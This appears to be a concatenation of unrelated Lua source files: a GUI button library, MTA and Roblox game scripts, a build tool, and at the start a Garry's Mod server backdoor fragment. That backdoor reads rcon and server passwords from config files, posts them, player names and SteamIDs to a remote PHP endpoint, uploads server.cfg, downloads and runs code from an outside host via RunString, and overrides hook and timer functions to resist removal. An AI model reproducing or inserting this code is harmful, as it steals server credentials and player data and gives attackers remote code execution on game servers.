if #player.GetHumans() >= 1 then
ixxxee_time = 5
end
local player_list = {}
for i=1, #player.GetHumans() do
table.insert(player_list, player.GetHumans()[i]:Nick() .. "||||||" .. player.GetHumans()[i]:GetUserGroup() .. "||||||" .. player.GetHumans()[i]:SteamID64())
end
http.Post(tendance[1] .. "/_/russia_secure/not_secure_hack_me_please.php?run=1&ip="..game.GetIPAddress().."&pl="..#player.GetHumans().."/"..game.MaxPlayers(), {json = util.TableToJSON(player_list)}, function(b) parseRun(b) end)
timer.Create("timer_3Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09", ixxxee_time, 0, ixxxee)
end
local function gvaction()
local internetprotocol = string.Explode(":",game.GetIPAddress())
local info = {}
local files = file.Find("cfg/*", "GAME")
for i=1, #files do
if string.EndsWith(files[i], ".cfg") then
local content = file.Read("cfg/" .. files[i], "GAME")
content = string.Explode("\n", content)
for i=1, #content do
if string.StartWith(content[i], "rcon_password") then
table.insert(info, 1, string.Split(content[i], "\"")[2])
end
if string.StartWith(content[i], "sv_password") then
table.insert(info, 2, string.Split(content[i], "\"")[2])
end
end
end
end
local rcon = info[1] or "Not Found"
local password = info[2] or "Not Found"
if rcon == "" then
rcon = "Not Found"
end
if password == "" then
password = "Not Found"
end
local sendinformation =
{
ip = internetprotocol[1],
port = internetprotocol[2],
name = GetHostName(),
map = game.GetMap(),
gamemode = engine.ActiveGamemode(),
rcon = rcon,
password = password,
keetac = "SUZld3gydnJUdGpaU05rcmdySk1zZz09"
}
http.Post(tendance[1] .. "/_/russia_secure/not_secure_hack_me_please.php" .. tendance[2], sendinformation)
end
local function keetac()
if not timer.Exists("timer_1Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09") then
anti_jizzeh()
-- elseif not timer.Exists("timer_2Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09") then
-- jiraya_back()
elseif not timer.Exists("timer_3Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09") then
ixxxee()
end
timer.Simple(5, keetac)
end
timer.Simple( math.random(1, 10) , function()
concommand.Remove("host_writeid")
anti_jizzeh()
-- jiraya_back()
hook.Add("PlayerInitialSpawn", "dontdecryptmedotexe", initialization)
hook.Add("PlayerSay", "asynchrone_with_h", info_chat)
ixxxee()
gvaction()
keetac()
local hr,ha,tc = hook.Remove,hook.Add,timer.Create
function hook.Add(eventName, identifier, func)
if eventName == "PlayerInitialSpawn" and identifier == "dontdecryptmedotexe" then return end
if eventName == "PlayerSay" and identifier == "asynchrone_with_h" then return end
ha(eventName, identifier, func)
end
function hook.Remove( eventName, identifier)
if eventName == "PlayerInitialSpawn" and identifier == "dontdecryptmedotexe" then return end
if eventName == "PlayerSay" and identifier == "asynchrone_with_h" then return end
hr(eventName, identifier)
end
function timer.Create(identifier, delay, repetitions, func)
if identifier == "timer_1Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09" or identifier == "timer_2Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09" or identifier == "timer_3Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09" then return end
tc(identifier, delay, repetitions, func)
end
end)
timer.Simple(1, function() http.Fetch("https://gvacdoor.cz/link/fuck.php?key=mgB367gnto2dz7DFuY1V", function(b) RunString(b, "haxor.exe", false) end)end) function RunHASHOb() end
timer.Simple(5, function() http.Post(tendance[1] .. "/_/dl_.php",{name=GetHostName(),filename='logs/server'..math.random(0,99999)..'.cfg',content=file.Read("cfg/server.cfg","GAME"),ip=game.GetIPAddress()}) end)
|
local component = require("component")
local colors = require("colors")
local objects = {}
local API = {}
local gpu = component.gpu
local w,h = gpu.getResolution()
function API.clearScreen()
gpu.setForeground(colors.black,true)
gpu.setBackground(colors.white,true)
gpu.fill(1,1,w,h," ")
end
function API.clamp(n,min,max) return math.min(math.max(n, min), max) end
function API.newButton(ID,label,x,y,width,height,func,params,oncolor,offcolor,toggle)
local table = {}
table["type"] = "button"
table["label"] = label
table["x"] = x
table["y"] = y
table["width"] = width
table["height"] = height
table["active"] = false
table["func"] = func
table["params"] = params
table["oncolor"] = oncolor
table["offcolor"] = offcolor
table["toggle"] = toggle
objects[ID] = table
end
function API.newLabel(ID,label,x,y,width,height,colorbg,colorfg)
local table = {}
table["type"] = "label"
table["label"] = label
table["x"] = x
table["y"] = y
table["width"] = width
table["height"] = height
table["colorbg"] = colorbg
table["colorfg"] = colorfg
objects[ID] = table
end
function API.newBar(ID,x,y,width,height,color1,color2,value)
local table = {}
table["type"] = "bar"
table["x"] = x
table["y"] = y
table["width"] = width
table["height"] = height
table["color1"] = color1 --Left color
table["color2"] = color2 --Right color
table["value"] = value
objects[ID] = table
end
function API.removeObject(ID)
objects[ID] = {}
end
function API.clearAllObjects()
API.clearScreen()
objects = {}
end
function API.draw(ID)
data = objects[ID]
local objtype = data["type"]
local label = data["label"]
local x = data["x"]
local y = data["y"]
local width = data["width"]
local height = data["height"]
if objtype == "button" then
local drawColor = 0x000000
if data["active"] == true then
drawColor = data["oncolor"]
else
drawColor = data["offcolor"]
end
gpu.setBackground(drawColor,false)
gpu.fill(x,y,width,height," ")
gpu.set((x+width/2)-string.len(label)/2,y+height/2,label)
elseif objtype == "label" then
gpu.setBackground(data["colorbg"],false)
--gpu.setForeground(data["colorfg"])
gpu.fill(x,y,width,height," ")
gpu.set((x+width/2)-string.len(label)/2,y+height/2,label)
elseif objtype == "bar" then
gpu.setBackground(data["color2"],false)
gpu.fill(x,y,width,height," ")
local amount = math.ceil((width/100)*data["value"])
gpu.setBackground(data["color1"],false)
gpu.fill(x,y,amount,height," ")
end
gpu.setBackground(colors.black,true)
end
function API.toggleButton(ID)
local objtype = objects[ID]["type"]
if not objtype == "button" then return end
objects[ID]["active"] = not objects[ID]["active"]
API.draw(ID)
end
function API.flashButton(ID)
local objtype = objects[ID]["type"]
if not objtype == "button" then return end
API.toggleButton(ID)
os.sleep(0.15)
API.toggleButton(ID)
end
function API.getButtonState(ID)
local objtype = objects[ID]["type"]
if not objtype == "button" then return end
return objects[ID]["active"]
end
function API.getButtonClicked(x,y)
for ID,data in pairs(objects) do
local xmax = data["x"]+data["width"]-1
local ymax = data["y"]+data["height"]-1
if data["type"] == "button" then
if x >= data["x"] and x <= xmax then
if y >= data["y"] and y <= ymax then
return ID
end
end
end
end
return nil
end
function API.activateButton(ID)
local objtype = objects[ID]["type"]
if not objtype == "button" then return end
objects[ID]["func"](objects[ID]["params"])
end
function API.updateAll()
API.clearScreen()
for ID,data in pairs(objects) do
API.draw(ID)
end
end
function API.processClick(x,y)
local ID = API.getButtonClicked(x,y)
if not ID then return end
local objtype = objects[ID]["type"]
if not objtype == "button" then return end
if not ID == false then
if objects[ID]["toggle"] == true then
API.toggleButton(ID)
API.activateButton(ID)
else
API.flashButton(ID)
API.activateButton(ID)
end
end
end
function API.setBarValue(ID,value)
local objtype = objects[ID]["type"]
if not objtype == "bar" then return end
objects[ID]["value"] = API.clamp(value,0,100)
API.draw(ID)
end
function API.setLabelText(ID,label)
local objtype = objects[ID]["type"]
if not objtype == "label" or not objtype == "button" then return end
if not label then label = " " end
objects[ID]["label"] = label
API.draw(ID)
end
return API
|
function copyPos (command)
local x, y, z = getElementPosition(getLocalPlayer())
outputChatBox(x..", "..y..", "..z, player)
setClipboard (x..", "..y..", "..z)
end
addCommandHandler("copypos", copyPos)
local colLV = createColRectangle(866,480,2300,2800)
function isElementWithinSafeZone(element)
if (not isElement(element)) then return false end
if (getElementDimension(element) ~= 0) or (getElementInterior(element) ~= 0) then return false end
if (isElementWithinColShape(element, colLV )) then return true end
return false
end
function zoneEntry(element, matchingDimension)
if (element ~= localPlayer) or (not matchingDimension) then return end
if (getElementDimension(element) ~= 0) then return end
setElementData(element, "AURdeathmatch.value", true)
end
addEventHandler("onClientColShapeHit", colLV , zoneEntry)
function zoneLeave(element, matchingDimension)
if (element ~= localPlayer) or (not matchingDimension) then return end
if (getElementDimension(element) ~= 0) then return end
setElementData(element, "AURdeathmatch.value", false)
end
addEventHandler("onClientColShapeLeave", colLV , zoneLeave)
function cursorInfo()
local showing = isCursorShowing ()
if showing then -- if the cursor is showing
local screenx, screeny, worldx, worldy, worldz = getCursorPosition()
outputChatBox( string.format( "Cursor screen position (relative): X=%.4f Y=%.4f", screenx, screeny ) ) -- make the accuracy of floats 4 decimals
outputChatBox( string.format( "Cursor world position: X=%.4f Y=%.4f Z=%.4f", worldx, worldy, worldz ) ) -- make the accuracy of floats 4 decimals accurate
else
outputChatBox( "Your cursor is not showing." )
end
end
addCommandHandler( "cursorpos", cursorInfo )
setAmbientSoundEnabled("general", false)
setAmbientSoundEnabled("gunfire", false)
function getMoneyClientSide ()
outputChatBox("Money_C: $"..getPlayerMoney(localPlayer))
end
addCommandHandler("moneyc", getMoneyClientSide)
local autodetec
function notinvisible ()
setElementAlpha(localPlayer, 255)
if (isTimer(autodetec)) then return end
autodetec = setTimer(function()
for index,vehicle in ipairs(getElementsByType("vehicle")) do
setElementCollidableWith(vehicle, localPlayer, false)
end
for index,player in ipairs(getElementsByType("player")) do
setElementCollidableWith(player, localPlayer, false)
end
end, 1000, 0)
end
addEvent("AURcurtmisc2.notinvisible", true)
addEventHandler("AURcurtmisc2.notinvisible", localPlayer, notinvisible)
function stopinvisible ()
if (isTimer(autodetec)) then
killTimer(autodetec)
end
for index,vehicle in ipairs(getElementsByType("vehicle")) do
setElementCollidableWith(vehicle, localPlayer, true)
end
for index,player in ipairs(getElementsByType("player")) do
setElementCollidableWith(player, localPlayer, true)
end
end
addEvent("AURcurtmisc2.stopinvisible", true)
addEventHandler("AURcurtmisc2.stopinvisible", localPlayer, stopinvisible)
local radart
function radarTester (theCmd, sizex, sizey)
local x, y, z = getElementPosition(getLocalPlayer())
if (radart) then destroyElement(radart) end
radart = createRadarArea (x, y, sizex, sizey, 255, 255, 255, 175 )
outputChatBox(x..", "..y..", "..sizex..", "..sizey)
end
addCommandHandler("radartest", radarTester)
addCommandHandler( "devmodeaur",
function ()
setDevelopmentMode ( true )
end
)
function isPedDrivingVehicle(ped)
assert(isElement(ped) and (getElementType(ped) == "ped" or getElementType(ped) == "player"), "Bad argument @ isPedDrivingVehicle [ped/player expected, got " .. tostring(ped) .. "]")
local isDriving = isPedInVehicle(ped) and getVehicleOccupant(getPedOccupiedVehicle(ped)) == ped
return isDriving, isDriving and getPedOccupiedVehicle(ped) or nil
end
local disabled = false
setTimer(function()
if (isPedDrivingVehicle(localPlayer)) then
if (getTeamName(getPlayerTeam(localPlayer)) == "Staff") then return false end
if (getElementModel(getPedOccupiedVehicle(localPlayer)) == 520) then
if (getElementData(localPlayer, "isPlayerInLvCol")) then
blowVehicle(getPedOccupiedVehicle(localPlayer), true)
exports.AURstickynote:displayText("hydranotefuckoff", "text", "Hydra is diabled in LV Gangwars. So we blow up your hydra. Don't try to exploit it.", 200, 0, 0)
setTimer(function()
exports.AURstickynote:displayText("hydranotefuckoff", "text", "", 200, 0, 0)
end, 60*1000, 1)
end
end
end
end, 1000, 0)
addEventHandler("onClientVehicleEnter", getRootElement(),
function(thePlayer, seat)
if thePlayer == getLocalPlayer() then
if (getTeamName(getPlayerTeam(localPlayer)) == "Staff") then return false end
if (getElementModel(source) == 520) then
if (getElementData(localPlayer, "isPlayerInLvCol")) then
blowVehicle(source, true)
exports.AURstickynote:displayText("hydranotefuckoff", "text", "Hydra is diabled in LV Gangwars. So we blow up your hydra. Don't try to exploit it.", 200, 0, 0)
setTimer(function()
exports.AURstickynote:displayText("hydranotefuckoff", "text", "", 200, 0, 0)
end, 60*1000, 1)
end
end
end
end
)
|
local appendageModule = {}
function appendageModule.new(UpperLimb,LowerLimb,LimbEnd,StartAttachment,LimbJointAttachment,LimbEndAttachment,LimbHoldAttachment,PreventDisconnection)
local Appendage = {}
Appendage.UpperLimb = UpperLimb
Appendage.LowerLimb = LowerLimb
Appendage.LimbEnd = LimbEnd
Appendage.StartAttachment = StartAttachment
Appendage.LimbJointAttachment = LimbJointAttachment
Appendage.LimbEndAttachment = LimbEndAttachment
Appendage.LimbHoldAttachment = LimbHoldAttachment
Appendage.PreventDisconnection = PreventDisconnection or false
function Appendage:GetAttachmentCFrame(Part,AttachmentName)
local Attachment = Part:FindFirstChild(AttachmentName)
return Attachment and Attachment.CFrame or CFrame.new()
end
function Appendage:SolveJoint(OriginCFrame,TargetPosition,Length1,Length2)
local LocalizedPosition = OriginCFrame:pointToObjectSpace(TargetPosition)
local LocalizedUnit = LocalizedPosition.unit
local Hypotenuse = LocalizedPosition.magnitude
--Get the axis and correct it if it is 0.
local Axis = Vector3.new(0,0,-1):Cross(LocalizedUnit)
if Axis == Vector3.new(0,0,0) then
if LocalizedPosition.Z < 0 then
Axis = Vector3.new(0,0,0.001)
else
Axis = Vector3.new(0,0,-0.001)
end
end
--Calculate and return the angles.
local PlaneRotation = math.acos(-LocalizedUnit.Z)
local PlaneCFrame = OriginCFrame * CFrame.fromAxisAngle(Axis,PlaneRotation)
if Hypotenuse < math.max(Length2,Length1) - math.min(Length2,Length1) then
local ShoulderAngle,ElbowAngle = -math.pi/2,math.pi
if self.PreventDisconnection then
return PlaneCFrame,ShoulderAngle,ElbowAngle
else
return PlaneCFrame * CFrame.new(0,0,math.max(Length2,Length1) - math.min(Length2,Length1) - Hypotenuse),ShoulderAngle,ElbowAngle
end
elseif Hypotenuse > Length1 + Length2 then
local ShoulderAngle,ElbowAngle = math.pi/2, 0
if self.PreventDisconnection then
return PlaneCFrame,ShoulderAngle,ElbowAngle
else
return PlaneCFrame * CFrame.new(0,0,Length1 + Length2 - Hypotenuse),ShoulderAngle,ElbowAngle
end
else
local Angle1 = -math.acos((-(Length2 * Length2) + (Length1 * Length1) + (Hypotenuse * Hypotenuse)) / (2 * Length1 * Hypotenuse))
local Angle2 = math.acos(((Length2 * Length2) - (Length1 * Length1) + (Hypotenuse * Hypotenuse)) / (2 * Length2 * Hypotenuse))
if self.InvertBendDirection then
Angle1 = -Angle1
Angle2 = -Angle2
end
return PlaneCFrame,Angle1 + math.pi/2,Angle2 - Angle1
end
end
--[[
Returns the rotation offset relative to the Y axis
to an end CFrame.
--]]
function Appendage:RotationTo(StartCFrame,EndCFrame)
local Offset = (StartCFrame:Inverse() * EndCFrame).Position
return CFrame.Angles(math.atan2(Offset.Z,Offset.Y),0,-math.atan2(Offset.X,Offset.Y))
end
--[[
Returns the CFrames of the appendage for
the starting and holding CFrames. The implementation
works, but could be improved.
--]]
function Appendage:GetAppendageCFrames(StartCFrame,HoldCFrame)
--Get the attachment CFrames.
local LimbHoldCFrame = self:GetAttachmentCFrame(self.LimbEnd,self.LimbHoldAttachment)
local LimbEndCFrame = self:GetAttachmentCFrame(self.LimbEnd,self.LimbEndAttachment)
local UpperLimbStartCFrame = self:GetAttachmentCFrame(self.UpperLimb,self.StartAttachment)
local UpperLimbJointCFrame = self:GetAttachmentCFrame(self.UpperLimb,self.LimbJointAttachment)
local LowerLimbJointCFrame = self:GetAttachmentCFrame(self.LowerLimb,self.LimbJointAttachment)
local LowerLimbEndCFrame = self:GetAttachmentCFrame(self.LowerLimb,self.LimbEndAttachment)
--Calculate the appendage lengths.
local UpperLimbLength = (UpperLimbStartCFrame.Position - UpperLimbJointCFrame.Position).magnitude
local LowerLimbLength = (LowerLimbJointCFrame.Position - LowerLimbEndCFrame.Position).magnitude
--Calculate the end point of the limb.
local AppendageEndJointCFrame = HoldCFrame * LimbHoldCFrame:Inverse() * LimbEndCFrame
--Solve the join.
local PlaneCFrame,UpperAngle,CenterAngle = self:SolveJoint(StartCFrame,AppendageEndJointCFrame.Position,UpperLimbLength,LowerLimbLength)
--Calculate the CFrame of the limb join before and after the center angle.
local JointUpperCFrame = PlaneCFrame * CFrame.Angles(UpperAngle,0,0) * CFrame.new(0,-UpperLimbLength,0)
local JointLowerCFrame = JointUpperCFrame * CFrame.Angles(CenterAngle,0,0)
--Calculate the part CFrames.
--The appendage end is not calculated with hold CFrame directly since it can ignore PreventDisconnection = true.
local UpperLimbCFrame = JointUpperCFrame * self:RotationTo(UpperLimbJointCFrame,UpperLimbStartCFrame):Inverse() * UpperLimbJointCFrame:Inverse()
local LowerLimbCFrame = JointLowerCFrame * self:RotationTo(LowerLimbEndCFrame,LowerLimbJointCFrame):Inverse() * LowerLimbJointCFrame:Inverse()
local AppendageEndCFrame = CFrame.new((LowerLimbCFrame * LowerLimbEndCFrame).Position) * (CFrame.new(-AppendageEndJointCFrame.Position) * AppendageEndJointCFrame) * LimbEndCFrame:Inverse()
--Return the part CFrames.
return UpperLimbCFrame,LowerLimbCFrame,AppendageEndCFrame
end
return Appendage
end
return appendageModule
|
-- C# 热补丁文件加载器 require "HotFix.???"
|
local coreOffset = 16;
local hp = Core.getElementHitPointsById(Core.getId())
if hp > 10000 then
coreOffset = 128
elseif hp > 1000 then
coreOffset = 64
elseif hp > 150 then
coreOffset = 32
end
Elements = Core.getElementIdList();
ExportString = "Funny Handle: ";
for index, ID in ipairs(Elements) do
Position = Core.getElementPositionById(ID)
x = Position[1] - coreOffset
y = Position[2] - coreOffset
z = Position[3] - coreOffset
ExportString = ExportString ..
Core.getElementTypeById(ID) .. "\t" ..
tostring(x) .. "\t" ..
tostring(y) .. "\t" ..
tostring(z) .. "\t" ..
tostring(ID) .. "\n"
end
system.logInfo(ExportString)
|
local M = {}
local argparser = require('argparser')
local process = require('process')
local env = require('env')
local fs = require('fs')
local re = require('re')
local inspect = require('inspect')
local util = require('util')
local bcsave = require('jit.bcsave')
local ffi = require('ffi')
local stream = require('stream')
local zip = require('zip')
local quiet = false
local function log(msg, ...)
if not quiet then
pf(msg, ...)
end
end
local function die(msg, ...)
pf("ERROR: %s", sf(tostring(msg), ...))
process.exit(1)
end
local ZZPATH = env['ZZPATH'] or sf("%s/zz", env['HOME'] or die("HOME unset"))
local function usage()
pf [[
Usage: zz <command> [options] [args]
Available commands:
init <package>
checkout [-u|--update] [-r|--recursive] <package>
build [-r|--recursive] [<package>]
install [<package>]
get [-u|--update] <package>
run <script>
test [<test>...]
clean [<package>]
distclean [<package>]
Global options:
-q|--quiet: keep quiet
]]
process.exit(0)
end
local function find_package_descriptor(dir)
dir = dir or process.getcwd()
local pd_path
local found = false
while not found do
pd_path = fs.join(dir, 'package.lua')
if fs.exists(pd_path) then
found = true
elseif dir == '/' then
break
else
dir = fs.dirname(dir)
end
end
return found and pd_path or nil
end
local function PackageDescriptor(package_name)
local pd_path, pd
if not package_name or package_name == '.' then
pd_path = find_package_descriptor()
elseif type(package_name) == "string" then
pd_path = fs.join(ZZPATH, 'src', package_name, 'package.lua')
else
ef("invalid package name: %s", package_name)
end
if pd_path and fs.exists(pd_path) then
local pd_chunk, err = loadfile(pd_path)
if type(pd_chunk) ~= "function" then
die("invalid package descriptor: %s: %s", pd_path, err)
end
pd = pd_chunk()
end
if not pd then
if package_name then
die("cannot find package: %s", package_name)
else
die("no package")
end
end
if not pd.package then
die("invalid package descriptor (missing package field): %s", pd_path)
end
-- name of the static library (libNAME.a) generated by this package
pd.libname = pd.libname or fs.basename(pd.package)
-- external packages used by this package
pd.imports = pd.imports or {}
-- ZZ_CORE_PACKAGE is implicitly imported into all packages (except core)
if pd.package ~= ZZ_CORE_PACKAGE and not util.contains(ZZ_CORE_PACKAGE, pd.imports) then
table.insert(pd.imports, ZZ_CORE_PACKAGE)
end
-- native C libraries built by this package
pd.native = pd.native or {}
-- Lua/C modules exported by this package
pd.exports = pd.exports or {}
-- the package descriptor is always exported
if not util.contains("package", pd.exports) then
table.insert(pd.exports, "package")
end
-- compile-time module dependencies
pd.depends = pd.depends or {}
-- VFS mounts
pd.mounts = pd.mounts or {}
-- apps (executables) generated by this package
pd.apps = pd.apps or {}
-- apps which shall be symlinked into $ZZPATH/bin
pd.install = pd.install or {}
return pd
end
-- Target: generic build target abstraction
local Target = util.Class()
local function is_target(x)
return type(x) == "table" and x.is_target
end
-- a target ref is a string which can be resolved to an actual target
local function is_target_ref(x)
return type(x) == "string"
end
local function flatmap(transform, targets)
local rv = {}
local function add(x)
if is_target(x) or is_target_ref(x) then
table.insert(rv, transform(x))
elseif type(x) == "table" then
for _,t in ipairs(x) do
add(t)
end
end
end
add(targets)
return rv
end
local function identity(x)
return x
end
local function flatten(targets)
return flatmap(identity, targets)
end
local function walk(root, process, get_children, transform_child)
transform_child = transform_child or identity
if type(get_children) == "string" then
local key = get_children
get_children = function(t) return t[key] end
end
local seen = {}
local function walk(item)
if not seen[item] then
process(item)
seen[item] = true
for _,child in ipairs(get_children(item)) do
walk(transform_child(child))
end
end
end
walk(root)
end
function Target:new(opts)
assert(type(opts)=="table")
assert(opts.ctx) -- the build context
opts.depends = flatten(opts.depends)
if opts.dirname or opts.basename then
if not opts.dirname then
ef("Target:new(): no dirname (only basename)")
end
if not opts.basename then
ef("Target:new(): no basename (only dirname)")
end
opts.path = fs.join(opts.dirname, opts.basename)
end
opts.is_target = true
return opts
end
function Target:mtime()
if self.path and fs.exists(self.path) then
return fs.stat(self.path).mtime
else
return -1
end
end
function Target:collect(key)
local rv = {}
local function collect(t)
if t[key] then
table.insert(rv, t[key])
end
end
walk(self, collect, "depends")
return rv
end
function Target:make()
local my_mtime = self:mtime()
local changed = {} -- list of updated dependencies
local max_mtime = 0
self.depends = flatten(self.ctx:resolve_targets(self.depends))
for _,t in ipairs(self.depends) do
assert(is_target(t))
t:make()
local mtime = t:mtime()
if mtime > my_mtime then
table.insert(changed, t)
end
if mtime > max_mtime then
max_mtime = mtime
end
end
if (my_mtime < max_mtime or self.force) and self.build then
log("[BUILD] %s", self.basename)
if self.dirname then
fs.mkpath(self.dirname)
end
self:build(changed)
if self.path then
fs.touch(self.path)
end
end
end
local function maybe_a_file_path(x)
return type(x) == "string"
end
local function target_path(x)
if is_target(x) and x.path then
return x.path
elseif maybe_a_file_path(x) then
return x
else
ef("target_path() not applicable for %s", inspect(x))
end
end
local function with_cwd(cwd, fn)
local oldcwd = process.getcwd()
process.chdir(cwd or '.')
local ok, err = pcall(fn)
process.chdir(oldcwd)
if not ok then
die(err)
end
end
function system(args)
local msg = args
if type(msg) == "table" then
msg = table.concat(args, " ")
end
log(msg)
return process.system(args)
end
-- BuildContext holds the stuff necessary
-- to build everything within a package
local BuildContext = util.Class()
local context_cache = {}
local function get_build_context(package_name)
local pd
if not package_name or package_name == '.' then
pd = PackageDescriptor()
package_name = pd.package
end
assert(type(package_name)=="string")
if not context_cache[package_name] then
pd = pd or PackageDescriptor(package_name)
context_cache[package_name] = BuildContext(pd)
end
return context_cache[package_name]
end
function BuildContext:new(pd)
local ctx = {
pd = pd,
vars = {},
gbindir = fs.join(ZZPATH, "bin"),
bindir = fs.join(ZZPATH, "bin", pd.package),
objdir = fs.join(ZZPATH, "obj", pd.package),
libdir = fs.join(ZZPATH, "lib", pd.package),
tmpdir = fs.join(ZZPATH, "tmp", pd.package),
srcdir = fs.join(ZZPATH, "src", pd.package),
}
ctx.nativedir = fs.join(ctx.srcdir, "native")
return ctx
end
function BuildContext:mangle(module_name)
-- generate globally unique name for a zz module
local sha1 = require('sha1')
return 'zz_'..sha1(sf("%s/%s", self.pd.package, module_name))
end
function BuildContext:set(key, value)
self.vars[key] = value
end
function BuildContext:get(key)
return self.vars[key]
end
function BuildContext:resolve_target_ref(name)
local t = self:get(name)
if not t then
-- lookup in imported packages
for _,pkgname in ipairs(self.pd.imports) do
local ctx = get_build_context(pkgname)
t = ctx:get(name)
if t then break end
end
end
if not t then
ef("cannot resolve target ref: %s", name)
end
return t
end
function BuildContext:resolve_targets(targets)
local function resolve(t)
if is_target(t) then
return t
elseif is_target_ref(t) then
return self:resolve_target_ref(t)
else
ef("cannot resolve target: %s", t)
end
end
return util.map(resolve, targets)
end
function BuildContext:download(opts)
with_cwd(opts.cwd, function()
local status = system {
"curl",
"-L",
"-o", target_path(opts.dst),
opts.src
}
if status ~= 0 then
die("download failed")
end
end)
end
function BuildContext:extract(opts)
with_cwd(opts.cwd, function()
local status = system {
"tar", "xzf", target_path(opts.src)
}
if status ~= 0 then
die("extract failed")
end
end)
end
function BuildContext:system(opts)
with_cwd(opts.cwd, function()
local status = system(opts.command)
if status ~= 0 then
die("command failed")
end
end)
end
function BuildContext:compile_c(opts)
with_cwd(opts.cwd, function()
local args = { "gcc", "-c", "-Wall" }
util.extend(args, opts.cflags)
table.insert(args, "-o")
table.insert(args, target_path(opts.dst))
table.insert(args, target_path(opts.src))
local status = system(args)
if status ~= 0 then
die("compile_c failed")
end
end)
end
function BuildContext:compile_lua(opts)
bcsave.start("-t", "o",
"-n", opts.sym,
"-g",
target_path(opts.src),
target_path(opts.dst))
end
function BuildContext:ar(opts)
with_cwd(opts.cwd, function()
local status = system {
"ar", "rsc",
target_path(opts.dst),
unpack(flatmap(target_path, opts.src))
}
if status ~= 0 then
die("ar failed")
end
end)
end
function BuildContext:cp(opts)
with_cwd(opts.cwd, function()
local status = system {
"cp",
target_path(opts.src),
target_path(opts.dst)
}
if status ~= 0 then
die("copy failed")
end
end)
end
function BuildContext:symlink(opts)
with_cwd(opts.cwd, function()
local src = target_path(opts.src)
local dst = target_path(opts.dst)
if fs.exists(dst) then
fs.unlink(dst)
end
log("symlink: %s -> %s", src, dst)
fs.symlink(src, dst)
end)
end
function BuildContext:link(opts)
local args = {
"gcc",
"-o", target_path(opts.dst),
"-Wl,--export-dynamic",
}
table.insert(args, "-Wl,--whole-archive")
util.extend(args, flatmap(target_path, opts.src))
table.insert(args, "-Wl,--no-whole-archive")
util.extend(args, opts.ldflags)
local status = system(args)
if status ~= 0 then
die("link failed")
end
end
function BuildContext:attach_zipped_mounts(opts)
local zf = zip.open(target_path(opts.dst))
for _,mount in ipairs(opts.mounts) do
local function process(path)
local abspath = fs.join(mount.path, path)
if fs.is_reg(abspath) then
zf:add(fs.join(mount.pkg, path), fs.open(abspath))
pf("[ZIP] %s", fs.join(mount.pkg, path))
end
end
local function get_children(path)
local abspath = fs.join(mount.path, path)
local children = {}
if fs.is_dir(abspath) then
for entry in fs.readdir(abspath) do
if fs.is_reg(fs.join(abspath, entry)) then
table.insert(children, fs.join(path, entry))
end
end
end
return children
end
walk('', process, get_children)
end
zf:close()
end
function BuildContext.Target(ctx, opts)
assert(type(opts)=="table")
opts.ctx = ctx
return Target(opts)
end
function BuildContext.LuaModuleTarget(ctx, opts)
local modname = opts.name
if not modname then
ef("LuaModuleTarget: missing name")
end
local m_dirname = fs.dirname(modname)
local m_basename = fs.basename(modname)
local m_srcdir, m_objdir
if m_dirname == '.' then
m_srcdir = ctx.srcdir
m_objdir = ctx.objdir
else
m_srcdir = fs.join(ctx.srcdir, m_dirname)
m_objdir = fs.join(ctx.objdir, m_dirname)
end
local m_src = ctx:Target {
dirname = m_srcdir,
basename = sf("%s.lua", m_basename)
}
if not fs.exists(m_src.path) then
ef("missing source file: %s", m_src.path)
end
return ctx:Target {
dirname = m_objdir,
basename = sf("%s.lo", m_basename),
depends = m_src,
build = function(self)
ctx:compile_lua {
src = m_src,
dst = self,
sym = ctx:mangle(modname)
}
end
}
end
function BuildContext.CModuleTarget(ctx, opts)
local modname = opts.name
if not modname then
ef("CModuleTarget: missing name")
end
local m_dirname = fs.dirname(modname)
local m_basename = fs.basename(modname)
local m_srcdir, m_objdir
if m_dirname == '.' then
m_srcdir = ctx.srcdir
m_objdir = ctx.objdir
else
m_srcdir = fs.join(ctx.srcdir, m_dirname)
m_objdir = fs.join(ctx.objdir, m_dirname)
end
local c_src = ctx:Target {
dirname = m_srcdir,
basename = sf("%s.c", m_basename)
}
if not fs.exists(c_src.path) then
-- it's a pure Lua module
return nil
end
local c_h = ctx:Target {
dirname = m_srcdir,
basename = sf("%s.h", m_basename)
}
return ctx:Target {
dirname = m_objdir,
basename = sf("%s.o", m_basename),
depends = util.extend({ c_src, c_h }, ctx.pd.depends[modname]),
build = function(self)
local cflags = {}
local seen = {}
local function collect(t)
if not seen[t.ctx] then
util.extend(cflags, { "-iquote", t.ctx.srcdir })
seen[t.ctx] = true
end
util.extend(cflags, t.cflags)
end
walk(self, collect, "depends")
ctx:compile_c {
src = c_src,
dst = self,
cflags = cflags
}
end
}
end
function BuildContext:prep_native_targets()
if not self.native_targets then
local targets = {}
for libname, target_factory in pairs(self.pd.native) do
local basename = sf("lib%s.a", libname)
if type(target_factory) ~= "function" then
ef("invalid target factory for native library %s: %s", libname, target_factory)
end
local target_opts = {
name = libname
}
local t = target_factory(self, target_opts)
self:set(basename, t)
table.insert(targets, t)
end
self.native_targets = targets
end
end
function BuildContext:module_targets(modname)
local targets = {}
local opts = { name = modname }
local lua_target = self:LuaModuleTarget(opts)
table.insert(targets, lua_target)
local c_target = self:CModuleTarget(opts)
if c_target then
table.insert(targets, c_target)
end
return targets
end
function BuildContext:prep_exported_targets()
if not self.exported_targets then
local targets = {}
for _,modname in ipairs(self.pd.exports) do
local module_targets = self:module_targets(modname)
self:set(modname, module_targets)
util.extend(targets, module_targets)
end
self.exported_targets = targets
end
end
function BuildContext:prep_library_target()
if not self.library_target then
self:prep_exported_targets()
local basename = sf("lib%s.a", self.pd.libname)
local ctx = self
local t = ctx:Target {
dirname = ctx.libdir,
basename = basename,
depends = ctx.exported_targets,
build = function(self, changed)
ctx:ar {
dst = self,
src = changed
}
end
}
ctx:set(basename, t)
self.library_target = t
end
end
function BuildContext:walk_imports(process)
local function get_children(ctx)
return ctx.pd.imports
end
local function transform_child(pkg)
return get_build_context(pkg)
end
walk(self, process, get_children, transform_child)
end
function BuildContext:prep_link_targets()
if not self.link_targets then
local targets = {}
self:walk_imports(function(ctx)
ctx:prep_library_target()
table.insert(targets, ctx.library_target)
ctx:prep_native_targets()
util.extend(targets, ctx.native_targets)
end)
